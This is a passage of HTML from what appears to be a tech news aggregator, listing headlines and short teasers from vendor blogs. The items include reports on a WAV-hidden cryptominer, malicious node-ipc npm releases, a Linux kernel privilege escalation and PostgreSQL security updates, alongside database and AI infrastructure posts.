              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-finding-the-blind-spot-how-canonical-hunts-logic-flaws-with-ai" class="group relative scroll-mt-24">
        <a href="#h3-finding-the-blind-spot-how-canonical-hunts-logic-flaws-with-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Finding the blind spot: How Canonical hunts logic flaws with AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-finding-the-blind-spot-how-canonical-hunts-logic-flaws-with-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is accelerating and improving how security engineers find and fix vulnerabilities. A new tool developed and used at Canonical, called Redhound, has already uncovered three critical logic vunerabili</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/finding-the-blind-spot-how-canonical-hunts-logic-flaws-with-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-malicious-node-ipc-versions-published-to-npm-in-suspected-maintainer-account-compromise" class="group relative scroll-mt-24">
        <a href="#h3-malicious-node-ipc-versions-published-to-npm-in-suspected-maintainer-account-compromise" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Malicious node-ipc versions published to npm in suspected maintainer account compromise
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-malicious-node-ipc-versions-published-to-npm-in-suspected-maintainer-account-compromise"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On May 14, 2026, multiple malicious versions of the popular npm package node-ipc were published to the npm registry. Current public reporting identifies node...</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/malicious-node-ipc-versions-published-npm/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloudnativepg-1291-and-1283-released-critical-cve-fix" class="group relative scroll-mt-24">
        <a href="#h3-cloudnativepg-1291-and-1283-released-critical-cve-fix" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 CloudNativePG 1.29.1 and 1.28.3 released: critical CVE fix
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloudnativepg-1291-and-1283-released-critical-cve-fix"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The CloudNativePG community is releasing maintenance updates for all currently supported series: 1.29.1 and 1.28.3. This is a high-priority release. It addresses CVE-2026-44477 (the first CVE official</p>
<p><strong>📅 May 15, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/cloudnativepg-1291-and-1283-released-critical-cve-fix-3296/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fragnesia-linux-kernel-local-privilege-escalation-vulnerability-mitigations" class="group relative scroll-mt-24">
        <a href="#h3-fragnesia-linux-kernel-local-privilege-escalation-vulnerability-mitigations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fragnesia Linux kernel local privilege escalation vulnerability mitigations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fragnesia-linux-kernel-local-privilege-escalation-vulnerability-mitigations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A local privilege escalation (LPE) vulnerability affecting the Linux kernel has been publicly disclosed on May 13, 2026. The vulnerability does not have a CVE ID published, but is referred to as “Frag</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/fragnesia-linux-vulnerability-fixes-available"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-postgresql-184-1710-1614-1518-and-1423-released" class="group relative scroll-mt-24">
        <a href="#h3-postgresql-184-1710-1614-1518-and-1423-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 Released!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-postgresql-184-1710-1614-1518-and-1423-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The PostgreSQL Global Development Group has released an update to all supported versions of PostgreSQL, including 18.4, 17.10, 16.14, 15.18, and 14.23. This release fixes 11 security vulnerabilities a</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/postgresql-184-1710-1614-1518-and-1423-released-3297/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scaling-enterprise-ai-delivering-models-as-a-service-with-red-hat-openshift-ai-34" class="group relative scroll-mt-24">
        <a href="#h3-scaling-enterprise-ai-delivering-models-as-a-service-with-red-hat-openshift-ai-34" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scaling enterprise AI: Delivering Models-as-a-Service with Red Hat OpenShift AI 3.4
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scaling-enterprise-ai-delivering-models-as-a-service-with-red-hat-openshift-ai-34"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how Red Hat OpenShift AI 3.4 and Red Hat Connectivity Link deliver Models-as-a-Service (MaaS) to centrally govern and scale enterprise AI model serving.Many enterprises have moved past the AI</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/scaling-enterprise-ai-delivering-models-service-openshift-ai-34"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-rethinking-byod-security-protecting-data-without-trusting-devices" class="group relative scroll-mt-24">
        <a href="#h3-rethinking-byod-security-protecting-data-without-trusting-devices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Rethinking BYOD security: protecting data without trusting devices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rethinking-byod-security-protecting-data-without-trusting-devices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>BYOD (bring your own device) has always looked better on paper than it does in real life. The promise is clear: let people use the gadgets they already own. Less friction, lower costs, and more freedo</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/rethinking-byod-security-protecting-data-without-trusting-devices"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-5-ways-to-fix-misleading-vulnerability-severities-with-policy" class="group relative scroll-mt-24">
        <a href="#h3-5-ways-to-fix-misleading-vulnerability-severities-with-policy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 5 ways to fix misleading vulnerability severities with policy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-ways-to-fix-misleading-vulnerability-severities-with-policy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A typical enterprise vulnerability report surfaces hundreds of findings per scan cycle, all ranked by the Common Vulnerability Scoring System (CVSS). The problem: CVSS describes the theoretical charac</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/severity-override-vulnerability-management-policy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-blog-introducing-prempti-falco-meets-ai-coding-agents" class="group relative scroll-mt-24">
        <a href="#h3-blog-introducing-prempti-falco-meets-ai-coding-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Blog: Introducing Prempti: Falco meets AI coding agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-blog-introducing-prempti-falco-meets-ai-coding-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today&#39;s developer workflow is increasingly reliant on AI coding agents. Tools like Claude Code sit in your terminal, read your files, run shell commands, make network requests, and write code, all on </p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 Falco Blog</strong></p>
<p><a href="https://falco.org/blog/introducing-prempti/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fighting-tool-sprawl-the-case-for-ai-tool-registries" class="group relative scroll-mt-24">
        <a href="#h3-fighting-tool-sprawl-the-case-for-ai-tool-registries" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fighting Tool Sprawl: The Case for AI Tool Registries
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fighting-tool-sprawl-the-case-for-ai-tool-registries"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As enterprise AI agent adoption scales, the absence of centralized, organization-level tool infrastructure is producing compounding costs. When adoption is built around optimizing for deployment speed</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 MongoDB Blog</strong></p>
<p><a href="https://www.mongodb.com/company/blog/technical/fighting-tool-sprawl-case-for-ai-tool-registries"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-one-agent-one-sandbox-one-database-inside-the-kimi-k26-architecture" class="group relative scroll-mt-24">
        <a href="#h3-one-agent-one-sandbox-one-database-inside-the-kimi-k26-architecture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 One Agent, One Sandbox, One Database: Inside the Kimi K2.6 Architecture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-one-agent-one-sandbox-one-database-inside-the-kimi-k26-architecture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A few months back I wrote two pieces about what infrastructure agents actually need: One on the database trends shaping 2026, another on why agents are the new database users. The arguments stayed mos</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/agent-database-kimi-k2-6/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-key-value-is-misleading-access-patterns-are-key" class="group relative scroll-mt-24">
        <a href="#h3-key-value-is-misleading-access-patterns-are-key" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 “Key-Value” is Misleading. Access Patterns are Key.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-key-value-is-misleading-access-patterns-are-key"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Access patterns determine your data model, your I/O costs, and which database is the best fit for your workload</p>
<p><strong>📅 May 14, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/05/14/access-patterns-are-key/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-context-engineering-for-ai-what-it-is-how-to-build-it" class="group relative scroll-mt-24">
        <a href="#h3-context-engineering-for-ai-what-it-is-how-to-build-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Context engineering for AI: what it is & how to build it
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-context-engineering-for-ai-what-it-is-how-to-build-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your support agent confidently tells a customer they qualify for a refund under a 60-day return policy. Your actual policy is 30 days. The agent hallucinated the longer window, and the easy reaction i</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/context-engineering-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-tame-the-thundering-herd-problem" class="group relative scroll-mt-24">
        <a href="#h3-how-to-tame-the-thundering-herd-problem" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to tame the thundering herd problem
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-tame-the-thundering-herd-problem"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The thundering herd problem occurs when multiple processes or clients repeatedly request the same resource simultaneously, leading to excessive load and performance degradation. If you grew up on clas</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/how-to-tame-the-thundering-herd-problem/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tidb-scaile-europe-2026-speaker-lineup-and-session-preview" class="group relative scroll-mt-24">
        <a href="#h3-tidb-scaile-europe-2026-speaker-lineup-and-session-preview" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 TiDB SCaiLE Europe 2026: Speaker Lineup and Session Preview
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tidb-scaile-europe-2026-speaker-lineup-and-session-preview"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agentic AI changes the database problem. A single user action can trigger many agent steps. However, each agent needs state, memory, transactions, analytics, and retrieval to stay consistent under rea</p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-scaile-europe-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-research-on-cloud-database-trends-technical-risks-cost-pressures-and-migration-triggers" class="group relative scroll-mt-24">
        <a href="#h3-new-research-on-cloud-database-trends-technical-risks-cost-pressures-and-migration-triggers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Research on Cloud Database Trends: Technical Risks, Cost Pressures, and Migration Triggers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-research-on-cloud-database-trends-technical-risks-cost-pressures-and-migration-triggers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Good enough until it isn’t: the database complacency trap</p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/05/12/new-research-on-cloud-database-trends/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-shopping-assistants-how-they-work-what-to-build" class="group relative scroll-mt-24">
        <a href="#h3-ai-shopping-assistants-how-they-work-what-to-build" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI shopping assistants: how they work & what to build
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-shopping-assistants-how-they-work-what-to-build"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You type &quot;cozy winter sweater&quot; into a search bar and get zero results because no product is tagged with that exact phrase. Keyword search can&#39;t tell that a &quot;wool pullover&quot; is the same idea. AI shoppin</p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/ai-shopping-assistant/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dynamic-endpoints-migrate-databases-without-changing-your-endpoint" class="group relative scroll-mt-24">
        <a href="#h3-dynamic-endpoints-migrate-databases-without-changing-your-endpoint" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Dynamic endpoints: Migrate databases without changing your endpoint
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dynamic-endpoints-migrate-databases-without-changing-your-endpoint"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most teams don’t move Redis databases often. But when they do, the complexity is rarely in Redis itself. It’s in coordinating endpoint changes across apps, services, and jobs. Redis Cloud now supports</p>
<p><strong>📅 May 12, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/dynamic-endpoints-migrate-databases-without-changing-your-endpoint/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-preview-to-production-tidb-cloud-dedicated-on-microsoft-azure-is-now-generally-available" class="group relative scroll-mt-24">
        <a href="#h3-from-preview-to-production-tidb-cloud-dedicated-on-microsoft-azure-is-now-generally-available" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Preview to Production: TiDB Cloud Dedicated on Microsoft Azure is Now Generally Available
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-preview-to-production-tidb-cloud-dedicated-on-microsoft-azure-is-now-generally-available"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For teams standardized on Azure, distributed SQL has been a tradeoff. Stay on managed SQL Server or Azure Database for MySQL and live with single-instance scale ceilings. Step outside Azure to get hor</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-cloud-dedicated-ga-microsoft-azure/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
